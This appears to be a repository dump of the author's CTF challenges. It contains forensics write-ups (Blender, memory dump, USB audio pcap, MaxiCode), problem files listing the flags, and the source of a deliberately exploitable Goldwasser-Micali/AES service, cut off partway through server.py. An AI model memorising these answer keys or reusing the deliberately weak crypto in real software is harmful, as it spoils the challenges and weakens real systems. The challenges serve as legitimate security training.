├── README.md ├── angstromctf-2016 └── fender-blender │ ├── README.md │ ├── description.md │ └── fender_blender.tar.gz ├── angstromctf-2017 ├── blend │ ├── README.md │ ├── problem.json │ └── source │ │ ├── extract.py │ │ ├── files.txt │ │ ├── flag.txt │ │ ├── out.txt │ │ └── quit.blend ├── headphones │ ├── README.md │ ├── headphones.pcap.zip │ ├── problem.json │ └── source │ │ ├── audio.m4a │ │ ├── extract │ │ ├── data │ │ ├── extracted.aiff │ │ ├── headphones.pcap │ │ ├── raw │ │ ├── read.py │ │ └── source.pcap │ │ └── flag.txt └── maxicode │ ├── README.md │ ├── problem.json │ ├── scanned.png │ └── source │ ├── flag.txt │ ├── maxicode.png │ └── zxing.zip ├── angstromctf-2018 ├── get-me │ └── index.php ├── gif │ ├── frames │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ ├── 4.png │ │ ├── 5.png │ │ ├── 6.png │ │ ├── 7.png │ │ └── 8.png │ └── jiggs.gif ├── gmx │ ├── flag.enc │ ├── gmx.zip │ ├── key.enc │ ├── pk │ ├── problem.yml │ └── source │ │ ├── aes.py │ │ ├── flag │ │ ├── flag.enc │ │ ├── gen.py │ │ ├── gm.py │ │ ├── key.enc │ │ ├── message │ │ ├── pk │ │ ├── server.py │ │ └── sk ├── md5 │ ├── index.php │ ├── secret.php │ └── src │ │ └── index.php ├── ofb │ ├── README.md │ ├── encrypt.py │ ├── flag.png.enc │ ├── problem.yml │ └── source │ │ ├── decrypt.py │ │ ├── encrypt.py │ │ ├── flag.png │ │ ├── flag.png.enc │ │ ├── gen.py │ │ ├── known │ │ └── lcg ├── pastepalooza │ ├── README.md │ ├── pastepalooza.zip │ ├── problem.yml │ └── source │ │ ├── .gitignore │ │ ├── config │ │ └── config.exs │ │ ├── lib │ │ ├── pastepalooza.ex │ │ ├── server.ex │ │ └── utility.ex │ │ ├── mix.exs │ │ └── pastes │ │ └── paste.txt ├── run-me │ └── run_me.c ├── slots │ ├── flag.txt │ └── slots.py └── ssh │ ├── README.md │ ├── id_rsa │ ├── id_rsa.pub │ ├── problem.yml │ ├── solve.sage │ └── source │ ├── flag.txt │ ├── id_rsa │ └── original │ ├── id_rsa │ └── id_rsa.pub ├── angstromctf-2019 ├── blank-paper │ ├── blank_paper.pdf │ └── paper.pdf ├── classy_cipher │ ├── classy_cipher.py │ ├── secret.py │ └── solve.py ├── eightball │ ├── deploy │ │ ├── Dockerfile │ │ ├── benaloh.py │ │ ├── eightball.txt │ │ ├── pk │ │ ├── server.py │ │ ├── setup.py │ │ └── sk │ ├── remote.py │ └── solve.py ├── half-and-half │ ├── half_and_half.py │ ├── secret.py │ └── solve.py ├── icthyo │ ├── Makefile │ ├── ichthyo.c │ ├── icthyo │ ├── in.png │ ├── out.png │ └── solve.py ├── irc │ └── flag.txt ├── lattice-zkp │ ├── deploy │ │ ├── A.npy │ │ ├── Dockerfile │ │ ├── b.npy │ │ ├── flag.enc │ │ ├── lwe.py │ │ ├── otp.py │ │ ├── requirements.txt │ │ ├── s.npy │ │ ├── server.py │ │ └── setup.py │ └── solve.sage ├── mac-forgery │ ├── deploy │ │ ├── Dockerfile │ │ ├── cbc_mac.py │ │ ├── secret.py │ │ └── server.py │ └── solve.py ├── over-my-brain │ ├── Makefile │ ├── config.yml │ ├── flag.txt │ ├── over_my_brain │ ├── over_my_brain.c │ └── solve.txt ├── paint │ ├── paint.py │ ├── paint.txt │ ├── secret.py │ ├── setup.py │ └── solve.py ├── paper-bin │ ├── paper.pdf │ └── paper_bin.dat ├── paper-cut │ ├── paper_cut.pdf │ ├── signature.png │ └── solve.py ├── paper-trail │ ├── paper_trail.pcapng │ └── stream.txt ├── powerball │ ├── deploy │ │ ├── Dockerfile │ │ ├── private.txt │ │ ├── public.txt │ │ ├── secret.py │ │ ├── server.py │ │ └── setup.py │ └── solve.py ├── printer-paper │ ├── paper.pbm │ ├── paper.xqx │ └── printer_paper.pcapng ├── purchases │ ├── Makefile │ ├── config.yml │ ├── flag.txt │ ├── purchases │ ├── purchases.c │ └── solve.py ├── random-zkp │ ├── deploy │ │ ├── A.npy │ │ ├── Dockerfile │ │ ├── b.npy │ │ ├── flag.enc │ │ ├── lwe.py │ │ ├── otp.py │ │ ├── requirements.txt │ │ ├── s.npy │ │ ├── server.py │ │ └── setup.py │ └── madlibbin │ │ ├── deploy │ │ ├── Dockerfile │ │ ├── gunicorn.conf │ │ ├── madlibbin │ │ │ ├── __init__.py │ │ │ ├── app.py │ │ │ └── templates │ │ │ │ ├── fill.html │ │ │ │ ├── index.html │ │ │ │ └── result.html │ │ └── requirements.txt │ │ ├── redis │ │ └── Dockerfile │ │ └── solve.py ├── returns │ ├── Makefile │ ├── config.yml │ ├── flag.txt │ ├── returns │ ├── returns.c │ └── solve.py ├── runes │ ├── paillier.py │ ├── runes.txt │ ├── setup.py │ └── solve.py └── secret-sheep-society │ ├── deploy │ ├── Dockerfile │ ├── gunicorn.conf │ ├── requirements.txt │ └── secret_sheep_society │ │ ├── __init__.py │ │ ├── app.py │ │ ├── manager.py │ │ ├── secret.py │ │ └── templates │ │ └── index.html │ └── solve.py ├── angstromctf-2023 ├── snap-circuits │ ├── flag.txt │ ├── server.py │ └── solve.py └── tau-as-a-service │ ├── flag.txt │ ├── server.py │ └── solve.py ├── angstromctf-2024 ├── blahaj │ ├── blahaj.sage │ ├── blahaj_out.txt │ ├── description.md │ ├── flag.txt │ └── solve.sage ├── random-rabin │ ├── description.md │ ├── flag.txt │ ├── random_rabin.py │ └── solve.sage ├── simon-says │ ├── description.md │ ├── flag.txt │ ├── simon_says.py │ ├── simon_says_out.txt │ └── solve.py ├── tss1 │ ├── description.md │ ├── flag.txt │ ├── key.txt │ ├── solve.py │ └── tss1.py └── tss2 │ ├── description.md │ ├── flag.txt │ ├── key.txt │ ├── solve.py │ └── tss2.py ├── cpvctf ├── bank-of-lamport │ ├── Dockerfile │ ├── bank_of_lamport.py │ ├── lamport.py │ ├── local.py │ ├── pk │ ├── run.sh │ ├── setup.py │ ├── sk │ └── xinetd ├── bit-length-oracle │ ├── Dockerfile │ ├── bit_length_oracle.py │ ├── flag.enc │ ├── local.py │ ├── paillier.py │ ├── pk │ ├── run.sh │ ├── setup.py │ ├── sk │ └── xinetd ├── perfect-secrecy │ ├── Dockerfile │ ├── local.py │ ├── perfect_secrecy.py │ ├── run.sh │ ├── solve.py │ └── xinetd ├── prime-database │ ├── Dockerfile │ ├── local.py │ ├── prime_database.py │ ├── primes.txt │ ├── run.sh │ ├── setup.py │ ├── solve.py │ └── xinetd ├── quadratic-cg │ ├── flag.png │ ├── flag.png.enc │ ├── known │ ├── qcg.txt │ ├── quadratic_cg.py │ ├── setup.py │ └── solve.sage └── white-lotus │ ├── Dockerfile │ ├── local.py │ ├── run.sh │ ├── solve.py │ ├── white_lotus.py │ └── xinetd ├── ctfx ├── corrupt │ ├── README.md │ ├── colors.png │ ├── flag.txt │ └── statement.txt ├── crash │ ├── README.md │ ├── flag.txt │ ├── flag.zip │ └── statement.txt ├── password │ ├── README.md │ ├── files.zip │ ├── flag.txt │ └── statement.txt └── pgp │ ├── README.md │ ├── flag.txt │ └── statement.txt ├── dicectf-2021 ├── benaloh │ ├── benaloh.py │ ├── flag.txt │ └── solve.sage └── signature-sheep-scheming-signature-schemes │ ├── flag.txt │ ├── lwe.py │ ├── server.py │ ├── shake.py │ └── solve.py ├── dicectf-2022 ├── pow-pow │ ├── flag.txt │ ├── server.py │ └── solve.py └── psych │ ├── flag.enc │ ├── flag.txt │ ├── pk.bin │ ├── server.py │ ├── sk.bin │ └── solve.sage ├── dicectf-2023 ├── seaside │ ├── csidh-latest.tar.xz │ ├── flag.txt │ ├── server.py │ └── solve.sage └── vinaigrette │ ├── expand_sk_with_t1.diff │ ├── flag.txt │ ├── patch.diff │ ├── pk.bin │ ├── pqov-paper.tar.gz │ ├── server.py │ ├── sk.bin │ └── solve.py ├── dicectf-finals-2024 ├── cfb-trivia │ ├── cfb_trivia.py │ ├── flag.txt │ └── solve.py ├── mental-poker │ ├── README.md │ ├── client │ │ ├── client.py │ │ └── main.py │ ├── flake.lock │ ├── flake.nix │ ├── game │ │ ├── base.py │ │ ├── card.py │ │ ├── mix.py │ │ ├── monte.py │ │ ├── params.py │ │ ├── reveal.py │ │ └── serialize.py │ ├── requirements.txt │ ├── scripts │ │ ├── grade.py │ │ ├── grade_prototype.py │ │ └── stress_test.py │ ├── server │ │ ├── game.py │ │ ├── main.py │ │ ├── routes │ │ │ ├── game.py │ │ │ └── public.py │ │ ├── server.py │ │ └── state.py │ └── static │ │ └── index.html └── triad │ ├── c.txt │ ├── flag.txt │ ├── pk.txt │ ├── solve.sage │ └── triad.sage ├── dicectf-quals-2024 ├── dicenet │ ├── Dockerfile │ ├── challenge │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── README.txt │ │ ├── net │ │ │ ├── dummy_weights.json │ │ │ ├── model.json │ │ │ └── weights.json │ │ ├── sheep.png │ │ └── src │ │ │ ├── bin │ │ │ ├── client.rs │ │ │ └── server.rs │ │ │ ├── layer.rs │ │ │ ├── lib.rs │ │ │ ├── neural_net.rs │ │ │ └── util.rs │ ├── make_handout.sh │ ├── ml │ │ ├── export.py │ │ ├── flag.png │ │ ├── generate_dataset.py │ │ ├── model.json │ │ ├── reverse.py │ │ ├── train.py │ │ └── weights.json │ ├── run.sh │ └── solve │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve.py │ │ └── src │ │ ├── garble_evaluator.rs │ │ ├── main.rs │ │ └── twopac_evaluator.rs ├── winter │ ├── Dockerfile │ ├── flag.txt │ ├── server.py │ └── solve.py └── yaonet │ ├── Dockerfile │ ├── flag.txt │ ├── id_ecdsa │ ├── id_ecdsa.pub │ ├── id_ecdsa_original │ ├── id_ecdsa_recovered │ └── solve.py └── dicectf-quals-2025 ├── fairy-ring ├── Dockerfile ├── flag.txt ├── gen.py ├── handout.tar.gz ├── keys │ ├── aibell.pub │ ├── gloriana.pub │ ├── oberon.pub │ ├── puck.pub │ ├── sebile.pub │ └── titania.pub ├── make_handout.sh ├── server.py ├── solve.sage ├── uov.py └── uov_trapdoor.py ├── nil-circ ├── Dockerfile ├── aes.txt ├── challenge │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ ├── bin │ │ ├── client.rs │ │ └── server.rs │ │ ├── lib.rs │ │ └── ot.rs ├── flag.txt ├── flag_enc.txt ├── gen.py ├── handout.tar.gz ├── key.txt ├── make_handout.sh ├── run.sh └── solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── solve.sage │ └── src │ ├── bin │ └── client.rs │ ├── curious_circuit.rs │ ├── garble_evaluator.rs │ ├── lib.rs │ ├── ot.rs │ ├── parse.rs │ └── twopac_evaluator.rs ├── vorpal-sword ├── Dockerfile ├── flag.txt ├── server.py └── solve.py └── winxy-pistol ├── Dockerfile ├── flag.txt ├── gen.py ├── key.pem ├── server.py └── solve.py /README.md: -------------------------------------------------------------------------------- 1 | This is an archive of CTF challenges that I've authored. You can find full writeups on my [personal website](https://priv.pub). 2 | -------------------------------------------------------------------------------- /angstromctf-2016/fender-blender/README.md: -------------------------------------------------------------------------------- 1 | Install Blender 2.74 and open the file. 2 | 3 | The easiest way to get all 5000 frames is to run the animation in Blender; all frames will be in the /tmp folder. 4 | Alternatively, you can render frames through command line: 5 | 6 | /Applications/blender.app/Contents/MacOS/blender -b ufo.blend -o // -f / 7 | 8 | With all of the frames, you can grep data from each image to determine the frame numbers. 9 | Comparing pixel data is also a valid way to compare frames and get the flag: 10 | 11 | flag{263,1337,3333,3999,4545} 12 | -------------------------------------------------------------------------------- /angstromctf-2016/fender-blender/description.md: -------------------------------------------------------------------------------- 1 | defund rendered 5 images from his blender. What are the frame numbers? There are 5000 frames in total. Submit the frame numbers in numerical order in the format flag{\,\,\,\,\}. 2 | -------------------------------------------------------------------------------- /angstromctf-2016/fender-blender/fender_blender.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2016/fender-blender/fender_blender.tar.gz -------------------------------------------------------------------------------- /angstromctf-2017/blend/README.md: -------------------------------------------------------------------------------- 1 | See my previous writeup for pgp in CTF(x) 2016 if you aren't comfortable with volatility. This is also a good reference whenever you deal with memory dumps: 2 | 3 | https://downloads.volatilityfoundation.org//releases/2.4/CheatSheet_v2.4.pdf 4 | 5 | Listing the files shows that there is a file that we can extract: 6 | 7 | 0xffff880028f00cd8 1835316 /tmp/quit.blend 8 | 9 | /tmp/quit.blend is a recovery file that Blender stores whenever you exit without saving your model file. However, it seems like there isn't any useful information in it except for a message defund left behind: 10 | 11 | close, but no cigar :) 12 | 13 | Recovering bash history shows that defund called Blender from the command line, along with a debug flag. Running Blender in this debug mode means that many user actions, such as keyboard typing or mouse clicking, are logged and outputted in stdout. Plugins most likely exist to extract stdout, but you can also try to extract the keys typed directly from the memory dump. Source code is in this directory. 14 | 15 | Depending on what you used to detect logged output, you will get some type of output like this: 16 | 17 | actf{blend_in_ar :)ar :)close, but no c :)arar :)with_the_debug} 18 | 19 | Combining this info with the previous message from /tmp/quit.blend makes it easy to deduce the flag. 20 | -------------------------------------------------------------------------------- /angstromctf-2017/blend/problem.json: -------------------------------------------------------------------------------- 1 | { 2 | "flag": "actf{blend_in_with_the_debug}", 3 | "hint": "Knowledge about blenders is important.", 4 | "name": "blend", 5 | "text": "defund has chosen to use his blender for malicious purposes. Authorities hunted him down, but not before he closed his blender. Recover the hidden message from a memory dump of defund's blender.", 6 | "value": 0 7 | } 8 | -------------------------------------------------------------------------------- /angstromctf-2017/blend/source/extract.py: -------------------------------------------------------------------------------- 1 | f = open('dump.elf','r') 2 | raw = f.read() 3 | f.close() 4 | 5 | key1 = 'properties for \'FONT_OT_delete\'\nbpy.ops.font.text_insert(text="' 6 | key2 = 'properties for \'FONT_OT_text_insert\'\nbpy.ops.font.text_insert(text="' 7 | 8 | o = '' 9 | 10 | d = raw 11 | while key1 in d: 12 | i = d.index(key1)+len(key1) 13 | o += d[i] 14 | d = d[i:] 15 | d = raw 16 | while key2 in d: 17 | i = d.index(key2)+len(key2) 18 | o += d[i] 19 | d = d[i:] 20 | 21 | f = open('out.txt','w') 22 | f.write(o) 23 | f.close() 24 | -------------------------------------------------------------------------------- /angstromctf-2017/blend/source/flag.txt: -------------------------------------------------------------------------------- 1 | actf{blend_in_with_the_debug} -------------------------------------------------------------------------------- /angstromctf-2017/blend/source/out.txt: -------------------------------------------------------------------------------- 1 | actf{blend_in_ar :)ar :)close, but no c :)arar :)with_the_debug} -------------------------------------------------------------------------------- /angstromctf-2017/blend/source/quit.blend: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/blend/source/quit.blend -------------------------------------------------------------------------------- /angstromctf-2017/headphones/README.md: -------------------------------------------------------------------------------- 1 | Ignore all packets sent from 1.3.5 (headphones) to host (computer). 2 | 3 | Wireshark labels which section of each packet is the USB URB header. Documentation about the format: 4 | 5 | https://msdn.microsoft.com/en-us/library/windows/hardware/ff537056(v=vs.85).aspx 6 | 7 | Extract all of the data after the header, which is raw PCM audio. Source code is available in this directory. 8 | 9 | Convert the raw audio into a format that audio players can understand using ffmpeg or Audacity. The parameters don't have to be perfect since you just need to be able to understand the flag. 10 | -------------------------------------------------------------------------------- /angstromctf-2017/headphones/headphones.pcap.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/headphones.pcap.zip -------------------------------------------------------------------------------- /angstromctf-2017/headphones/problem.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [ 3 | "headphones.pcap.zip" 4 | ], 5 | "flag": "actf{e392157ea599c605b6d483042ff8d9fe}", 6 | "hint": "SADES A60", 7 | "name": "headphones", 8 | "text": "defund got gaming headphones. Get the flag from this {{headphones.pcap.zip,traffic}}.", 9 | "value": 0 10 | } 11 | -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/audio.m4a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/audio.m4a -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/extract/data -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/extracted.aiff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/extract/extracted.aiff -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/headphones.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/extract/headphones.pcap -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/raw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/extract/raw -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/read.py: -------------------------------------------------------------------------------- 1 | f = open('data','r') 2 | d = f.read() 3 | f.close() 4 | 5 | o = '' 6 | while len(d) != 0: 7 | d = d[16:] 8 | d = d[159:] 9 | o += d[:1764] 10 | d = d[1764:] 11 | 12 | f = open('raw','w') 13 | f.write(o) 14 | f.close() 15 | -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/extract/source.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/headphones/source/extract/source.pcap -------------------------------------------------------------------------------- /angstromctf-2017/headphones/source/flag.txt: -------------------------------------------------------------------------------- 1 | actf{e392157ea599c605b6d483042ff8d9fe} -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/README.md: -------------------------------------------------------------------------------- 1 | ZXing is an open source project that can scan many types of barcodes, including MaxiCode. Source code is available on GitHub: 2 | 3 | https://github.com/zxing/zxing 4 | 5 | In order to glean as much information as possible, edit the source code in order to bypass any thrown exceptions. Edited java files are included in this directory. By doing this, you can recover as much of the flag as possible: 6 | 7 | actf{h!t???e_bullseye} 8 | 9 | The rest of the flag can be guessed easily. 10 | -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/problem.json: -------------------------------------------------------------------------------- 1 | { 2 | "files": [ 3 | "scanned.png" 4 | ], 5 | "flag": "actf{h!t_the_bullseye}", 6 | "hint": "", 7 | "name": "maxicode", 8 | "text": "defund intercepted a mysterious parcel and was able to scan {{scanned.png,this}} from the packaging.", 9 | "value": 0 10 | } 11 | -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/scanned.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/maxicode/scanned.png -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/source/flag.txt: -------------------------------------------------------------------------------- 1 | actf{h!t???e_bullseye} 2 | 3 | actf{h!t_the_bullseye} -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/source/maxicode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/maxicode/source/maxicode.png -------------------------------------------------------------------------------- /angstromctf-2017/maxicode/source/zxing.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2017/maxicode/source/zxing.zip -------------------------------------------------------------------------------- /angstromctf-2018/get-me/index.php: -------------------------------------------------------------------------------- 1 | 11 | 12 | 13 | 14 |

15 | Get me! (if you're authorized) 16 |

17 |
18 | 19 | 20 |
21 | 22 | -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/1.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/2.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/3.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/4.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/5.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/6.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/7.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/frames/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/frames/8.png -------------------------------------------------------------------------------- /angstromctf-2018/gif/jiggs.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gif/jiggs.gif -------------------------------------------------------------------------------- /angstromctf-2018/gmx/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/flag.enc -------------------------------------------------------------------------------- /angstromctf-2018/gmx/gmx.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/gmx.zip -------------------------------------------------------------------------------- /angstromctf-2018/gmx/pk: -------------------------------------------------------------------------------- 1 | 27139103193315339033295636715287379876477458783710062142205491300228004967766582251229537073734060833345520109174649072439873894733882892336500884194503295874665631235172074932338049458979878433449939014526122448747869757614155055798280696101995779133135539070534667459247143654178469066050923702501148113818831962558374543364216291806419723367604403166071401864212498515798828892056556847106214152329306561136993545777080985800003647839225708244240752559239395234227513969117455886656146452545473657096677996906385062466940390467974519521568124312000377355286888015894223593537028705723979629868785930928055401862219 2 | 1003377402037839312498279941872590022992677681881257552267834610687786674873089513440701146957514498832266202237382192589259606460260982639655327038371835455117206275125879515350674281844373470679607294414881557052918597693388200449536535848481157543139504436706073674458691763531717148017691454832653363454585066393344522827181847831686013131875151472358458150040124483409012487777043219934321027193030173405263380102768429109685851372467312821837342771188467544345404843024196244832596185429810161005820350198902609223228650945120670893743534262637423095651964238175498110713944181633922912779616269645761065657810 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/problem.yml: -------------------------------------------------------------------------------- 1 | title: gmx 2 | author: defund 3 | value: 160 4 | text: | 5 | defund created a nonconformist hybrid cryptosystem. He even 6 | made a service running at `web.angstromctf.com:3000`; here's 7 | the [public key]({{ pk }}). All you have to do is decrypt 8 | this [flag]({{ flag.enc }}), which was encrypted with this 9 | [key]({{ key.enc }}). We've also provided the relevant 10 | [source code]({{ gmx.zip }}). 11 | Note: connect with netcat or an equivalent tool. 12 | hint: Good luck! 13 | flag: actf{a_bit_of_homomorphism} 14 | files: 15 | - flag.enc 16 | - gmx.zip 17 | - key.enc 18 | - pk 19 | deploy: 20 | type: docker 21 | ports: 22 | 3000: 3000 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/aes.py: -------------------------------------------------------------------------------- 1 | from Crypto import Random 2 | from Crypto.Cipher import AES 3 | 4 | def encrypt(k, m): 5 | iv = Random.new().read(16) 6 | cipher = AES.new(k, AES.MODE_CFB, iv) 7 | return iv + cipher.encrypt(m) 8 | 9 | def decrypt(k, c): 10 | cipher = AES.new(k, AES.MODE_CFB, c[:16]) 11 | return cipher.decrypt(c[16:]) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/source/flag -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/gmx/source/flag.enc -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/gen.py: -------------------------------------------------------------------------------- 1 | from Crypto import Random 2 | 3 | import aes 4 | import gm 5 | 6 | flag = open('flag').read() 7 | 8 | key = Random.new().read(16) 9 | pk, sk = gm.generate() 10 | 11 | encflag = aes.encrypt(key, flag) 12 | enckey = gm.encrypt(key, pk) 13 | 14 | with open('pk', 'w') as f: 15 | f.write('\n'.join([str(x) for x in pk])) 16 | 17 | with open('sk', 'w') as f: 18 | f.write('\n'.join([str(x) for x in sk])) 19 | 20 | with open('key.enc', 'w') as f: 21 | f.write('\n'.join([str(x) for x in enckey])) 22 | 23 | with open('flag.enc', 'w') as f: 24 | f.write(encflag) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/gm.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from gmpy2 import legendre 3 | 4 | def generate(): 5 | p = getStrongPrime(1024) 6 | q = getStrongPrime(1024) 7 | n = p*q 8 | x = getRandomRange(0, n) 9 | while legendre(x, p) != -1 or legendre(x, q) != -1: 10 | x = getRandomRange(0, n) 11 | return (n, x), (p, q) 12 | 13 | def encrypt(m, pk): 14 | n, x = pk 15 | for b in format(int(m.encode('hex'), 16), 'b').zfill(len(m) * 8): 16 | y = getRandomRange(0, n) 17 | yield pow(y, 2) * pow(x, int(b)) % n 18 | 19 | def decrypt(c, sk): 20 | p, q = sk 21 | m = 0 22 | for z in c: 23 | m <<= 1 24 | if legendre(z % p, p) != 1 or legendre(z % q, q) != 1: 25 | m += 1 26 | h = '%x' % m 27 | l = len(h) 28 | return h.zfill(l + l % 2).decode('hex') -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/message: -------------------------------------------------------------------------------- 1 | Hi, this is defund and you're reading my super secret message! Unfortunately, getting this message is not the challenge whatsoever. I don't have much else to talk about, so I guess follow me at github.com/defund, twitter.com/defunded, and keybase.io/defund. 2 | 3 | Also, here's a fake flag that you're going to submit anyways: 4 | actf{this_is_a_fake_flag} 5 | 6 | Good luck with the challenge! ;) -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/pk: -------------------------------------------------------------------------------- 1 | 27139103193315339033295636715287379876477458783710062142205491300228004967766582251229537073734060833345520109174649072439873894733882892336500884194503295874665631235172074932338049458979878433449939014526122448747869757614155055798280696101995779133135539070534667459247143654178469066050923702501148113818831962558374543364216291806419723367604403166071401864212498515798828892056556847106214152329306561136993545777080985800003647839225708244240752559239395234227513969117455886656146452545473657096677996906385062466940390467974519521568124312000377355286888015894223593537028705723979629868785930928055401862219 2 | 1003377402037839312498279941872590022992677681881257552267834610687786674873089513440701146957514498832266202237382192589259606460260982639655327038371835455117206275125879515350674281844373470679607294414881557052918597693388200449536535848481157543139504436706073674458691763531717148017691454832653363454585066393344522827181847831686013131875151472358458150040124483409012487777043219934321027193030173405263380102768429109685851372467312821837342771188467544345404843024196244832596185429810161005820350198902609223228650945120670893743534262637423095651964238175498110713944181633922912779616269645761065657810 -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/server.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import signal 3 | import SocketServer 4 | 5 | import aes 6 | import gm 7 | 8 | PORT = 3000 9 | 10 | message = open('message').read() 11 | 12 | with open('sk') as f: 13 | p = int(f.readline()) 14 | q = int(f.readline()) 15 | sk = (p, q) 16 | 17 | class incoming(SocketServer.BaseRequestHandler): 18 | def handle(self): 19 | req = self.request 20 | 21 | def receive(): 22 | buf = '' 23 | while not buf.endswith('\n'): 24 | buf += req.recv(1) 25 | return buf[:-1] 26 | 27 | signal.alarm(60) 28 | 29 | req.sendall('Welcome to the Goldwasser-Micali key exchange!\n') 30 | req.sendall('Please send us an encrypted 128 bit key for us to use.\n') 31 | req.sendall('Each encrypted bit should be sent line by line in integer format.\n') 32 | 33 | enckey = [] 34 | for i in range(128): 35 | enckey.append(int(receive())) 36 | key = gm.decrypt(enckey, sk) 37 | encmessage = aes.encrypt(key, message) 38 | 39 | req.sendall(base64.b64encode(encmessage)+'\n') 40 | req.close() 41 | 42 | class 